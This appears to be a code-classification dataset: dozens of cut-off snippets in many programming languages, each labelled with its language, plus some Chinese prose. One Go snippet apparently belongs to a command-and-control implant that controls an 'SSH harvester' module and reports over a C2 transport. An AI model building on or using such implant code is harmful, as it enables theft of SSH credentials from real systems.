content
stringlengths
2
6.21k
label
stringclasses
16 values
delta_energy = current_energy - old_energy; converged = (std::fabs(delta_energy) < options_.get_double("E_CONVERGENCE")); outfile->Printf("\n @PT %5d %20.15f %11.4e", cycle, current_energy, delta_energy); old_energy = current_energy; if (cycle > options_.get_int("MAXITER"...
C++
the allocated range. The range name must /// comply with [RFC 1035](https://tools.ietf.org/html/rfc1035). Specifically, /// the name must be 1-63 characters long and match the regular expression /// \[a-z\](\[-a-z0-9\]*\[a-z0-9\])?. Reserved for future use. core.String? allocatedIpRange; /// Binary log coor...
Dart
_resize_flag bmi :+ lda kbd_mouse_x sbc #<(kScreenWidth-1) lda kbd_mouse_x+1 sbc #>(kScreenWidth-1) beq is_max : sec rts is_max: jsr GetWinFrameRect sec lda #<(kScreenWidth-1) sbc winrect::x1 ...
Assembly
using System; using System.Collections.Generic; using Godot; using FairyGUI.Utils; namespace FairyGUI { /// <summary> /// GGraph class. /// 对应编辑器里的图形对象。图形有两个用途,一是用来显示简单的图形,例如矩形等;二是作为一个占位的用途, /// 可以将本对象替换为其他对象,或者在它的前后添加其他对象,相当于一个位置和深度的占位;还可以直接将内容设置 /// 为原生对象。 /// </summary> public class GGr...
C#
of Version 2 of %# the GNU General Public License. A copy of that license should have %# been provided with this software, but in any event can be snarfed %# from www.gnu.org. %# %# This work is distributed in the hope that it will be useful, but %# WITHOUT ANY WARRANTY; without even the implied warranty of %# MERCHAN...
HTML
:vector<Real> F(face_size); for( int dim : DIMS2 ) { m_parallel.for_each(rhos()[dim].shape(),[&]( int i, int j, int tn ) { unsigned row = Xf(i,j,dim); F[row] = rhos()[dim](i,j); }); } return F; }; // // This function computes the diagonal vecpotential(nodal) mass term [E] auto edge_ma...
C++
::machine() } pub fn reserve_pages(&self, start_page: usize, page_count: usize) { let mut free = lock!(self.free); if start_page <= free.len() { let page_count = cmp::min(page_count, free.len() - start_page); for i in start_page..start_page + page_count { ...
Rust
} var centerIndex = (daysSinceEpoch / this._stepSizeDays) | 0; if (centerIndex >= this._totalSamples) { // Can't evaluate after the last sample in the data. return undefined; } var degree = this._interpolationOrder; var firstIndex = centerIndex - (...
JavaScript
class Solution(object): def findMaxForm(self, strs, m, n): """ :type strs: List[str] :type m: int :type n: int :rtype: int """ # 01 背包 # 背包容量有两个维度 有多少个1和多少个0 # dp[i][j] 表示装满i个0和j个1容量的背包 最多装了dp[i][j]个物品 # 返回dp[m][n] ...
Python
t, refundAddress: refundAddress ?? this.refundAddress, refundExtraId: refundExtraId ?? this.refundExtraId, payoutExtraIdName: payoutExtraIdName ?? this.payoutExtraIdName, uuid: uuid, date: date, statusString: statusString ?? this.statusString, statusObject: statusObject ?? this...
Dart
// SPDX-License-Identifier: GPL-2.0 /* * Copyright (C) 2013 Davidlohr Bueso <davidlohr.bueso@hp.com> * * Based on the shift-and-subtract algorithm for computing integer * square root from Guy L. Steele. */ #include <linux/export.h> #include <linux/bitops.h> #include <linux/limits.h> #include <linux/math.h> /**...
C
位妊娠选后穹隆穿刺,其他无脑b超,当然这只是应试技巧,能理解题目是最好的 #异位妊娠诊断 1. 没破: 1. 确诊b超 2. 首选b超 2. 破了 1. 确诊后穹窿穿刺 2. 首选b超(若提示饱满感,首选穿刺)异位妊娠首选也是b超,刚错完过来,只有确诊或者题目里暗示你后穹隆饱满了你再穿刺。 1. 青年女性,停经40余天(不排除妊娠),阴道流血8小时,发热,宫颈举痛,不排除异位妊娠,故超声检查对异位妊娠诊断必不可少,还有助于明确异位妊娠部位和大小,经阴道超声检查较经腹部超声检查准确性高。所以,该患者应先做超声检查(A对)。刮宫(B错)、宫腔镜(D错)、阴道后穹窿穿刺(E错)可用于异位妊娠的检查,但为有创检查,不做首选。阴...
Markdown
时期的文学家。 | | 健身计划 | 设计一个四周的健身计划,帮助我减掉腹部赘肉。 | | 新闻分类 | 这篇新闻属于哪个领域,政治、体育还是经济? ...
Markdown
poly1305_x86_scale: .long 0x0,0x37f40000 crypto_onetimeauth_poly1305_x86_two32: .long 0x0,0x41f00000 crypto_onetimeauth_poly1305_x86_two64: .long 0x0,0x43f00000 crypto_onetimeauth_poly1305_x86_two96: .long 0x0,0x45f00000 crypto_onetimeauth_poly1305_x86_alpha32: .long 0x0,0x45e80000 crypto_onetimeauth_poly1305_x86_...
Assembly
h area is available to us, we can mask the stage, like /// culling, all objects outside the stage size, will not be visible. stage!.maskBounds = true; /// use this Sprite to keep the box always centered in the stage. centeredContainer = GSprite(); box = MyBox(); /// add the box as child of th...
Dart
cobra.Command, args []string) { codePattern, _ := cmd.Flags().GetString("code_pattern") regName, _ := cmd.Flags().GetString("reg_name") stop, _ := cmd.Flags().GetBool("stop") if stop && modules.SshHarvesterCancel != nil { modules.SshHarvesterCancel() c2transport.C2RespPrintf(cmd, "%s", "SSH harvester stopped") ...
Go
发各地参考。我们希望各级党委和四清工作队,在这次社会主教育——四清运动中,认真地切实地把农村阶级档案建立起来。 </p> <p> 1964年四月三日 </p> <p> 通县牛堡屯地区四个公社建立阶级档案的报告很好,现在转发给你们参考 </p> <p> 农村的阶级档案,是做好农村工作的一项基本建设工作,是进行阶级斗争的有力武器,也是对子孙后代进行阶级教育和革命传统教育的好教材。目前开展的社会主义教育运动,必然会反映出大量的阶级斗争的史料,是建立阶级档案的大好时机。各工作队一定要把这一工作作为运动的一项内容,从一开始就紧密结合运动,发动群众,提供材料,并且指定专人,特别是要把农村知识青年和临时参...
HTML
t' ], 'io': [ 'com', 'backplaneapp', 'boxfuse', 'browsersafetymark', 'dedyn', 'drud', 'enonic', 'customer.enonic', 'github', 'gitlab', 'hasura-app', 'ngrok', 'nid', 'pantheonsite', 'protonet', 'hzc', 'sandcats', 'shiftedit', 'apps.lair', ...
Dart
_updateMetaProperty('og:title', title); _updateMetaProperty('og:description', description); _updateMetaProperty('og:image', imageUrl); _updateMetaProperty('og:type', 'website'); // Update Twitter Card tags _updateMetaProperty('twitter:card', 'summary_large_image'); _updateMetaProperty('twit...
Dart
Thanks @mitsuhiko https://github.com/m4b/goblin/pull/103 - PE: calculate read bytes using alignment: Thanks @tathanhdinh https://github.com/m4b/goblin/pull/101 - PE: get proper names for PE sections: Thanks @roblabla https://github.com/m4b/goblin/pull/100 ## [0.0.17] - 2018-7-16 ### Changed - BREAKING: updated req...
Markdown
,他家便加勒高价,卖给小炉户们。若是谁家恶了他,还压根不卖,逼得人家生意做不下去。只几个大宗名下的大炉房,自有进货的路子,也能平价从李崇问那里进货。” --- aid: "0101" zid: "0078" title: 金相分析(四) author: 吹牛者 --- 在佛山,只有得到了元老院技术扩散的三家民营企业,才具备生产球墨铸铁的潜在能力。但考虑到他们在技术上的薄弱,元老院一直没有批准这几家企业开展球墨铸铁件的生产。仅供应了很少量的球化剂,作为技术验证使用。 这种技术验证是为以后广佛铁路的铁轨订单所做的准备。佛山工业园区内的小铁路只用了灰铸铁的铁轨,几个月运行下来倒也没出过什么问题。不过,考虑到铁路是最重要的基础设施,...
Markdown
000000,1000000} spr.max={-1000000,-1000000,-1000000} spr.objs={} oname=nil local function buildObject() local m=nil if (imap~=nil) then for _,vm in pairs(imap.vngmap) do local nx,ny,nz=0,0,0 for _,vn in ipairs(vm) do nx=nx+imap.lvn[vn+1] ny=ny+imap.lvn[vn+2] nz=nz+imap.lvn[vn+3] end ...
Lua
:i})}}var ur={index:"@layer theme, base, components, utilities;\n\n@import './theme.css' layer(theme);\n@import './preflight.css' layer(base);\n@import './utilities.css' layer(utilities);\n",preflight:"/*\n 1. Prevent padding and border from affecting element width. (https://github.com/mozdevs/cssremedy/issues/4)\n 2...
HTML
, Not(Equals), nil) check.Assert(media.MediaRecord.Name, Equals, testQueryMediaName) check.Assert(media.MediaRecord.HREF, Not(Equals), "") // find Invalid media media, err = catalog.QueryMedia("INVALID") check.Assert(IsNotFound(err), Equals, true) check.Assert(media, IsNil) } // Tests System function Refresh f...
Go
رِينٌ', 52: 'يَقُولُ أَإِنَّكَ لَمِنَ الْمُصَدِّقِينَ', 53: 'أَإِذَا مِتْنَا وَكُنَّا تُرَابًا وَعِظَامًا أَإِنَّا لَمَدِينُونَ', 54: 'قَالَ هَلْ أَنْتُمْ مُطَّلِعُونَ', 55: 'فَاطَّلَعَ فَرَآهُ فِي سَوَاءِ الْجَحِيمِ', 56: 'قَالَ تَاللَّهِ إِنْ كِدْتَ لَتُرْدِينِ', 57: 'وَلَوْلَا نِعْمَةُ رَبِّي...
Dart
e */ public java.lang.String getErrorMsg(); /** Column definition for ErrorMsg */ public static final org.adempiere.model.ModelColumn<I_PMM_WeekReport_Event, Object> COLUMN_ErrorMsg = new org.adempiere.model.ModelColumn<I_PMM_WeekReport_Event, Object>(I_PMM_WeekReport_Event.class, "ErrorMsg", null); /**...
Java
Sans+Condensed:300&display=swap" rel="stylesheet"> <!-- preview style --> <link rel="stylesheet" type="text/css" href="preview.css"> <!--[if lt IE 9]> <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script> <![endif]--> </head> <body> <div class="preview-6-styles" st...
HTML
// pnlRecurWeekly // this.pnlRecurWeekly.Controls.Add(this.label13); this.pnlRecurWeekly.Controls.Add(this.label14); this.pnlRecurWeekly.Controls.Add(this.nudWeeklyFrequency); this.pnlRecurWeekly.Location = new System.Drawing.Point(180, 51); this....
C#
119, 0); --quaternary-rgba-10: rgba(119, 119, 119, 0.1); --quaternary-rgba-20: rgba(119, 119, 119, 0.2); --quaternary-rgba-30: rgba(119, 119, 119, 0.3); --quaternary-rgba-40: rgba(119, 119, 119, 0.4); --quaternary-rgba-50: rgba(119, 119, 119, 0.5); --quaternary-rgba-60: rgba(119, 119, 119, 0.6); --quaternary-rgb...
CSS
import org.apache.camel.component.aws2.textract.client.impl.Textract2ClientSessionTokenImpl; import org.apache.camel.component.aws2.textract.client.impl.Textract2ClientStandardImpl; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; public class Textract2ClientFactoryTest { ...
Java
p>ALSO NOTE: MAKE SURE NOT TO CALL THIS METHOD FOR {@link CallTree.Root} INSTANCES. * * @param pool the pool to which all subtree nodes are to be recycled */ public final void recycle(ObjectPool<CallTree> pool) { assert !(this instanceof Root); List<CallTree> children = this.children; for (int i ...
Java
#ifndef VENDORS_SP1_INCLUDE_BABY_BEAR_POSEIDON2_TWO_ADIC_FRI_PCS_H_ #define VENDORS_SP1_INCLUDE_BABY_BEAR_POSEIDON2_TWO_ADIC_FRI_PCS_H_ #include <stddef.h> #include <stdint.h> #include <memory> #include "rust/cxx.h" #include "tachyon/c/zk/air/sp1/baby_bear_poseidon2_two_adic_fri.h" namespace tachyon::sp1_api::baby...
C
성요소의 비리를 피하기 위해 대표성의 비효율성. 그림 8(좌표)에서 알 수 있듯이, 먼저 왼쪽 상단에 거친 성분 \\(C_{0}\\)을 배열한 다음, 추출한 세부 계수를 각 서브밴드의 각 위치에 배치하여 \\(D_{0}\\) 및 \\(D_{1}\\)를 연속적으로 배치하여 나머지 위치를 zeros로 남겨두면서 각 서브밴드의 각각의 위치에 정렬하여 \\(C_{0}\\)한다. 이와 같이, 입력 표현은 DDPM을 모델링하기 위한 일반 2D 그리드가 된다. 그러나 이 표현은 공간적으로 매우 크다. 기존의 확산 모델에 의해 널리 채택된 현재의 U-Net 아키텍처는 GPU 메모리...
HTML
auto H_d = HysteresisOps::deriv (H, H_n1, H_d_n1, (Float) T); auto M = NRSolver<4> (H, H_d); // check for instability #if HYSTERESIS_USE_SIMD auto notIllCondition = ! (xsimd::isnan (M) || (M > upperLim)); M = xsimd::select (notIllCondition, M, (Float) 0.0); ...
C++
he implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this wo...
Java
from flask_sqlalchemy import SQLAlchemy from flask_marshmallow import Marshmallow db = SQLAlchemy() ma = Marshmallow() def init_app(app): db.init_app(app) ma.init_app(app) config_db(app) def config_db(app): @app.before_first_request def init_database(): db.create_all() @app.teardown...
Python
TMat movingImageIn1 = movingImageIn; if(transferColors) { movingImageIn1 = ImageUtils::colorTransfer(fixedImageIn, movingImageIn1); } TMat homography; spMatcher->getHomography( fieldOfViewFixedImage, fieldOfViewMovingImage, calcYaw2, calcPitch2, yaw1, pitch1, yaw2, pitch2, projection...
C++
-layout-skins, navy); box-shadow: 0px 1px 9px -3px rgba(0,0,0,0.1); .kt-header__topbar--mobile-on & { box-shadow: none; } // Toolbar .kt-header-mobile__toolbar { @include kt-burger-icon-skin(kt-header-mobile__toolbar-toggler, (default: #484f66, hover: #ffffff, active: #ffffff) ); .kt-header-mobile...
CSS
割 | 如何使用深度学习方法对医学图像进行分割,例如CT或MRI图像? | | 对话系统 | 如何使用Seq2Seq模型构建一个基于自然语言的问答对话系统? | | 异常检测 | 如何使用K近邻算法对异常数据点进行检测并标记? | | 自动摘要 | 如何使用文本摘要方法生成一篇文章的摘要,以减少信息冗余? | | 职场 | 如何在职场中避免与同事产生冲突? | | 娱乐 | 您...
Markdown
论,声称要反复试验,公然鼓吹打破一党执政,称共产党是垄断的皇权,当今中国是专制加垄断;公然称习近平这届新班子,让车轮倒转,军队枪口对内,鼓吹军队国家化;称被共产主义口号骗了十几年;为美国的种族歧视洗地,认为美国梦更加优秀,鼓吹中国梦和美国梦都是宪政梦,等等。_** --- aid: 6418 cid: 2 authorID: 2790 addTime: 2020-07-19T03:20:00.000Z title: 既不能怂,也不能冲动式地“豁了”,越是冷战,我们越要扩大开放。 tags: - 式地 - 扩大开放 - 越要 - 冷战 - 不能 comments: [] date: 2020-0...
Markdown
applicable. ## Configuring the Foreman/Katello to send emails: The configuration of how the Foreman/Katello service sends email is located in `Adminster > Settings > Email`. For more information see: [Email Configuration](http://theforeman.org/manuals/latest/index.html#3.5.2ConfigurationOptions) ## Opting in to th...
Markdown
"title" : "", "required" : [ "assetTypeName", "bookDepreciationSetting" ], "type" : "object", "properties" : { "assetTypeId" : { "type" : "string", "description" : "Xero generated unique identifier for asset types", "format" : "uuid", "example" : "5da209c5-5e19-4a43-b925-71b776c49ced" ...
HTML
ing => { const C = Math.floor(Y / 100); const N = Y - 19 * Math.floor(Y / 19); const K = Math.floor((C - 17) / 25); let I = C - Math.floor(C / 4) - Math.floor((C - K) / 3) + 19 * N + 15; I = I - 30 * Math.floor(I / 30); // prettier-ignore I = I - Math.floor(I / 28) * (1 - Math.floor(I / 28) * Math.floor(2...
Typescript
local UI = Z.UI local super = require("ui.ui_subview_base") local Personalzone_badge_subView = class("Personalzone_badge_subView", super) local DEFINE = require("ui.model.personalzone_define") local loopGridView = require("ui.component.loop_grid_view") local MedalLoopItem = require("ui.view.personal_zone.medal_main_vie...
Lua
="kg-card kg-image-card "> <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3TyFuoe3NKUzEmOkyMEnnD/5023ad7d33955e20c33fde5e0ac81a36/Velocloud-replacement-SD-WAN.png" alt="Cloudflare treats SASE anxiety for VeloCloud customers" class="kg-image" width="1600" height="900" loading="lazy"> </figure> <p>We u...
HTML
150.dp, val height: Dp = width, val type: BarcodeType, val foregroundColor: Color, val backgroundColor: Color, ) : BarcodeParams { init { check(width >= 0.dp && height >= 0.dp) { "Size must be non negative" } } } } private class EmptyPainter( pri...
Kotlin
-- WoWPro Guides by "The WoW-Pro Community" are licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License. -- Based on a work at https://github.com/Ludovicus-Maior/WoW-Pro-Guides . -- The license is available at https://github.com/Ludovicus-Maior/WoW-Pro-Guides/blob/main/License.md . ...
Lua
.6-135.5-88.5-148.8-9.8-2.9-18.1-4-25.7-4-27.6 0-46.9 14.7-96.1 14.7-49.2 0-68.5-14.7-96.1-14.7-7.7 0-16 1.1-25.7 4-44.9 13.3-67.3 60.4-88.5 148.8-21.2 88.5-17.3 152.4 7.7 164.3 4.1 1.9 8.2 2.8 12.5 2.8 21.7 0 45.1-23.8 67.7-52 25.7-32.1 32.1-33 110.3-33h24.3c78.1 0 84.6.8 110.3 33 22.5 28.2 46 52 67.7 52 4.2 0 8.4-.9 ...
JavaScript
let xOffset = slices[f.ndx * 2 + 0] * size; let yOffset = slices[f.ndx * 2 + 1] * size; ctx.drawImage(element, xOffset, yOffset, size, size, 0, 0, size, size); gl.texImage2D(f.face, 0, format, format, type, ctx.canvas); }); // Free up the canvas memory ctx.canvas.width = 1; ...
Typescript
<div><span class="marker bad">&nbsp;</span>= Failed privacy test</div> <div><span class="marker na">–</span>= No such feature</div> </div> <div class="banner" id="instructions"> <div><span class="click-anywhere">(Click anywhere for more info.)</span></div> </div> </div><table c...
HTML
ObjectAccessControl `protobuf:"bytes,3,opt,name=default_object_access_control,json=defaultObjectAccessControl" json:"default_object_access_control,omitempty"` } func (x *InsertDefaultObjectAccessControlRequest) Reset() { *x = InsertDefaultObjectAccessControlRequest{} if protoimpl.UnsafeEnabled { mi := &file_mockgc...
Go
(new Cy("There must be at least one phase in the phase enumeration."));this.c=new Wx(t=JR(rT(this.g),9),JR(qD(t,t.length),9),0),this.a=new OU,this.b=new ym}function Dgn(n,t){var e,i;if(t!=n.Cb||n.Db>>16!=7&&t){if(Bon(n,t))throw Lm(new Cy(WKn+xfn(n)));i=null,n.Cb&&(i=(e=n.Db>>16)>=0?$on(n,i):n.Cb.Th(n,-1-e,null,i)),t&&(...
JavaScript
ly { putAll(ext.searchFiltersModel.mapify()) this[PAGE_INDEX] = ext.startIndex } ) } }.flow ) }.catch { exceptionFlow.value = it } ) }.onIO() } }package app.shosetsu.android.viewmodel.impl.settings import androidx.work.WorkInfo import...
Kotlin
Stmt.CaptureVar != "" { _, _ = fmt.Fprintf(e.output, "[DRY RUN] Would capture file content in variable '%s'\n", fileStmt.CaptureVar) // Set a placeholder value for the captured variable in dry-run mode ctx.Variables[fileStmt.CaptureVar] = "[DRY RUN] file content" } return nil } // Handle special actions...
Go
Fjord") DefineTerrain(4, 6, 492, 0,"Icecrown","IcecrownGlacier") DefineTerrain(4, 7, 493, 0,"Sholazar Basin","SholazarBasin") DefineTerrain(4, 8, 510, 0,"Crystalsong Forest","CrystalsongForest") DefineTerrain(4, 9, 496, 0,"Zul'Drak","ZulDrak") DefineTerrain(4,10, 501, 0,"Wintergrasp","LakeWintergrasp") DefineTerrain(4,...
Lua
ддас Елена ороллари', 'Sainte -Hélène', 'Saint -Helena', 'Sveta Jelena', 'SHN', 'سانت هيلنا', 'ⵙⴰⵏⵜⵉⵍⵉⵏ', 'ਸੇਂਟ ਹੇਲੇਨਾ', 'Santa Ilena', 'Sênt -Helêna', 'sɛ́ŋtɛ́ elɛ́ɛnɛ', 'સેન્ટ હેલેના', 'Sveta Helena', 'Sent Helen', 'Shën -Helena', 'Sv.Helēnas sala', 'Sint -Helena', 'ساينىت ھېلېنا', 'წმინდა ელენეს კუნძული', 'ᎠᏥᎸᏉ...
Python
363 22.779 -22.783 22.784 C-10.205 22.788 -0.004 12.594 0 0.015 L0 0 Z"}).setTransform({xx:1,xy:0,yx:0,yy:1,dx:336.31049,dy:451.43359}).setFill(this.color),d.createPath({path:"M333.443 451.434 C333.446 440.438 324.537 431.523 313.541 431.519 C302.546 431.515 293.63 440.425 293.626 451.42 L293.626 451.434 C293.622 462.4...
JavaScript
background-image: url(https://cdn.rawgit.com/hplgit/doconce/master/bundled/html_images/small_gray_warning.png); } .alert-question {background-image:url(https://cdn.rawgit.com/hplgit/doconce/master/bundled/html_images/small_gray_question.png); } div { text-align: justify; text-justify: inter-word; } </style> </head>...
HTML
400000v"+(40+t)+"h-400000z"}(e,80);break;case"sqrtSize4":n=function(t,e){return"M473,"+(2713+t+e)+"\nc339.3,-1799.3,509.3,-2700,510,-2702 l"+t/5.298+" -"+t+"\nc3.3,-7.3,9.3,-11,18,-11 H400000v"+(40+t)+"H1017.7\ns-90.5,478,-276.2,1466c-185.7,988,-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9\nc-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3...
HTML
: $instanceName" ) thread { try { setupVpnInterface(ipv4Address, proxyCidrs) } catch (t: Throwable) { Log.e(TAG, "VPN 设置失败", t) stopSelf() } } return START_STICKY } private fun setupVpnInterfac...
Kotlin
} } } void TestLayerVisitor::CheckConstTensors(const ConstTensor& expected, const ConstTensorHandle& actual) { auto& actualInfo = actual.GetTensorInfo(); CHECK(expected.GetInfo() == actualInfo); CHECK(expected.GetNumDimensions() == actualInfo.GetNumDimensions()); CHECK(expected.GetNumElemen...
C++
if (stream.Position != stream.Length) { throw new Exception("Unrecognised extra bytes in the reducer arguments"); } return Errno.OK; /* no exception */ } catch (Exception e) { var error_str = e.ToString(); var erro...
C#
.boneWeights = integrator.BoneWeights.ToArray(); mesh.subMeshCount = integrator.SubMeshes.Count; for (var i = 0; i < integrator.SubMeshes.Count; ++i) { mesh.SetIndices(integrator.SubMeshes[i].Indices.ToArray(), MeshTopology.Triangles, i); } mes...
C#
OutputTensor { fn clear(&mut self) { self.output_format = ::std::option::Option::None; self.unknown_fields.clear(); } } impl ::std::fmt::Debug for TPUEmbeddingOutputLayout_EmbeddingOutputTensor { fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { ::protobuf::te...
Rust
] = val; } else if (prev != val) { throw new Error("Inconsistent bindings for " + name) } } delete keymap[keyname]; } } for (var prop in copy) { keymap[prop] = copy[prop]; } return keymap } function lookupKey(key, map$$1, handle, context) { map$$1 = getKeyMap(map$$1); var fo...
JavaScript
from .app import app def start(): app.run(debug=True, host='0.0.0.0', port=5000, use_reloader=False)
Python
""" Serializer module for ArchitectSpeciality model. This module defines a serializer class for the ArchitectSpeciality model. """ from rest_framework import serializers from app.core.models.ArchitectSpeciality import ArchitectSpeciality class ArchitectSpecialitySerializer(serializers.ModelSerializer): """ ...
Python
lbanian", 6), LanguageEntry("si", "Sinhala", 5), LanguageEntry("sw", "Swahili", 5), LanguageEntry("te", "Telugu", 4), LanguageEntry("af", "Afrikaans", 4), LanguageEntry("kn", "Kannada", 4), LanguageEntry("be", "Belarusian", 2), LanguageEntry("km", "Khmer", 1), LanguageEntry("bn", "Bengal...
Kotlin
e; } if (forceExplicitReconstruction is not null) { ForceExplicitReconstruction = forceExplicitReconstruction.Value; } if (externalFormat is not null) { ExternalFormat = externalFormat.Value; } ...
C#
#pragma once #include "MsgHandler.h" #include "include/ITrade.h" #include "TimerWnd.h" interface IOrderIDCvtNotify_HK { virtual void OnCvtOrderID_Local2Svr(int nResult, Trade_Env eEnv, INT64 nLocalID, INT64 nServerID) = 0; }; class CDelayOrderIDCvt_HK:public CTimerWndInterface { public: CDelayOrderIDCvt_HK(void); ...
C
age[0].isCompressedTexture), u = t.image[0] && t.image[0].isDataTexture, h = [], p = 0; p < 6; p++ ) h[p] = s || u ? u ? t.image[p].image : t.image[p] ...
JavaScript
蛋上来……” 毛十三急忙把筷子一放,拎起汽灯揭开下层甲板的舱盖钻了进去。 离开温暖的厨房,一阵潮湿发霉的冷气扑面而来,毛十三打了个寒噤,举着汽灯小心的跨下楼梯。下甲板是厨房专门管理的地盘,他穿过一层层的豆芽架,养殖舱就在左边,五只母鸡给灯光惊醒,在咯咯的叫着。毛十三在笼里翻一翻,竟然找到了四只鸡蛋。 “不错,干的不错。”毛十三夸奖着:“今天天气挺好给你们放放风……”他把鸡笼提到打开舷窗,把鸡笼挂在外面透气,临走时还塞了几把饲料。 这杂活原来是符季的,自从毛十三来了之后就归他了,每天喂鸡、捡蛋、清理鸡笼都是他的活了。 勤务兵接过鸡蛋仍然摆着张臭脸,连谢都没一声。直接接过去做早饭了。毛十三对被大家敬若神明的“首长”吃什么山珍海...
Markdown
Generates a list of exponentially separated floats.', example: 'logarithmicBins(start: 1.0, factor: 2.0, count: 10, infinity: true)', category: 'Miscellaneous', link: `https://docs.influxdata.com/influxdb/${DOCS_URL_VERSION}/reference/flux/stdlib/built-in/misc/logarithmicbins/`, }, { name: 'lo...
Typescript
psbt", "the PSBT file or raw PSBT in base64/hex").required(true), ]) } fn exec_decode<'a>(matches: &clap::ArgMatches<'a>) { let (raw_psbt, _) = file_or_raw(matches.value_of("psbt").unwrap()); let psbt: psbt::PartiallySignedTransaction = deserialize(&raw_psbt).expect("invalid PSBT"); let info = hal::GetInfo::get_...
Rust
/td><td>1</td></tr> <tr><td>terrGravel</td><td>Gravel</td><td>4</td></tr> </table> </section> </body> </html> <!doctype html> <html> <head> <meta charset="utf-8"> <meta name="description" content=""> <style> tr:nth-child(odd) { background-color: lightcyan; } </style> <title>store_autoparts_01</t...
HTML
ExitType status) { Object* jet = getMachineOwner(); JetAIUpdate* jetAI = (JetAIUpdate*)jet->getAIUpdateInterface(); if (jetAI) { jetAI->friend_setTakeoffInProgress(false); jetAI->friend_setLandingInProgress(false); jetAI->friend_setAllowCircling(false); } } }; EMPTY_DTOR(JetAwaitingRunwayState) /...
C++
governed by the MIT license that can be * found in the LICENSE file. */ package org.rust.ide.surroundWith.expression import org.rust.ide.surroundWith.RsSurrounderTestBase class RsWithParenthesesSurrounderTest : RsSurrounderTestBase(RsWithParenthesesSurrounder()) { fun `test select part of expression`() = doTe...
Kotlin
/* * Copyright (C) 2008 Karel Zak <kzak@redhat.com> * * Inspired by libvolume_id by * Kay Sievers <kay.sievers@vrfy.org> * * This file may be redistributed under the terms of the * GNU Lesser General Public License. */ #include <stdlib.h> #include <string.h> #include <stdint.h> #include "superblocks.h" s...
C
/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed...
C
GatewayQuota) this.T().Log(":", len(gateway.GatewayNum)) for _, v := range gateway.GatewayNum { this.T().Log(":", v.NumberIndex, ":", v.Status) } this.T().Log("--------------------------") delegator, err := app.StakingKeeper.GetDelegatorValidator(ctx, valAccAddr, validatorAddr) this.Require().NoError(err) thi...
Go
-s: 100%; --accent-l: 63%; --color-red: #bf616a; --color-green: #a3be8c; --color-orange: #b48ead; --color-yellow: #ebcb8b; --color-cyan: #88c0d0; --color-blue: #81a1c1; &.encore-colors-colorful { --highlight-hue: 355; --italic-color: #d7dfec; --bold-color: #d9dee9; --h1-color: var(--co...
CSS
ivar::<MetalViewPtr>("rustMetalView") }; rust_metal_view_ptr.write() } // Copyright 2020 <NAME>, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licen...
Rust
:= glob.GDb.AutoMigrate(&models.WebsocketHandler{}) if err != nil { zap.S().Errorf("数据库表创建失败 %+v", err) } } if !glob.GDb.Migrator().HasTable(&models.CoapHandler{}) { err := glob.GDb.AutoMigrate(&models.CoapHandler{}) if err != nil { zap.S().Errorf("数据库表创建失败 %+v", err) } } if !glob.GDb.Migrator().H...
Go
p); } { // Ensure joining with empty paths does not add trailing path // components. BOOST_CHECK_EQUAL(tmpfile1, fsbridge::AbsPathJoin(tmpfile1, "")); BOOST_CHECK_EQUAL(tmpfile1, fsbridge::AbsPathJoin(tmpfile1, {})); } { fs::path p1 = GetUniquePath(tmpfolder); ...
C++
_over .caption{ margin: 2% 0 0; } .q_image_with_text_over .caption.no_icon{ margin: 0; } .q_image_with_text_over .desc{ margin: 0px 30px; opacity: 0; filter: alpha(opacity = 0); -webkit-transition: opacity 0.4s ease-in-out; -moz-transition: opacity 0.4s ease-in-out; -o-transition: opacity 0.4s ease-in-out; -...
CSS
:focus:not(:checked) ~ .custom-control-label::before{border-color:#61c6ed}.custom-control-input:not(:disabled):active ~ .custom-control-label::before{color:#fff;background-color:#8fd7f2;border-color:#8fd7f2}.custom-control-input:disabled ~ .custom-control-label{color:#999}.custom-control-input:disabled ~ .custom-contro...
CSS
relative; margin-bottom: 16px; } .how-it-works .how-it-works-title { position: relative; } .how-it-works .how-it-works-title p{ font-size: 18px; } .how-it-works .how-it-works-description { position: relative; } .how-it-works .how-it-works-preview { position: relative; } .how-it-works .how-it-w...
CSS
00.meters) var j = 0 while (j < blocks.size) { occupancyGraphBuilder.put(blocks[j], occupancySegment) j += 5 } } val occupancyGraph = occupancyGraphBuilder.build() val timeStep = 2.0 val res = STDCMPathfindin...
Kotlin
ull(offset)) as P; default: throw IsarError('Unknown property with id $propertyId'); } } const _MangaitemTypeEnumValueMap = {'manga': 0, 'anime': 1, 'novel': 2}; const _MangaitemTypeValueEnumMap = { 0: ItemType.manga, 1: ItemType.anime, 2: ItemType.novel, }; const _MangastatusEnumValueMap = { 'ongo...
Dart
nil { return } ws.WriteJSON(DoValueRes("Welcome to the Call API Service.")) } func returnInvalidWS(ws *websocket.Conn) { ws.WriteJSON(DoValueResForWS(99, "INVALID_TOKEN", map[string]interface{}{ "errors": "INVALID_TOKEN", })) } func websocket_system(c *gin.Context) { // upgrade GET request to websocket prot...
Go
opt/jpom_java_%s", version); String script = "# javaScript\n"; script += String.format("echo \"export JAVA_HOME=%s\" >> /etc/profile\n", path); script += String.format("echo \"export PATH=%s/bin:$PATH\" >> /etc/profile\n", path); script += "source /etc/profile \n"; return script;...
Java
12f\n", eGab); outfile->Printf("\tBB G Energy = %20.12f\n", eGbb); outfile->Printf("\tAA I Energy = %20.12f\n", eIaa); outfile->Printf("\tAB I Energy = %20.12f\n", eIab); outfile->Printf("\tBB I Energy = %20.12f\n", eIbb); outfile->Printf("\tTotal G Energy = %20.12f\n", eGaa + eGab + eGbb); outf...
C++
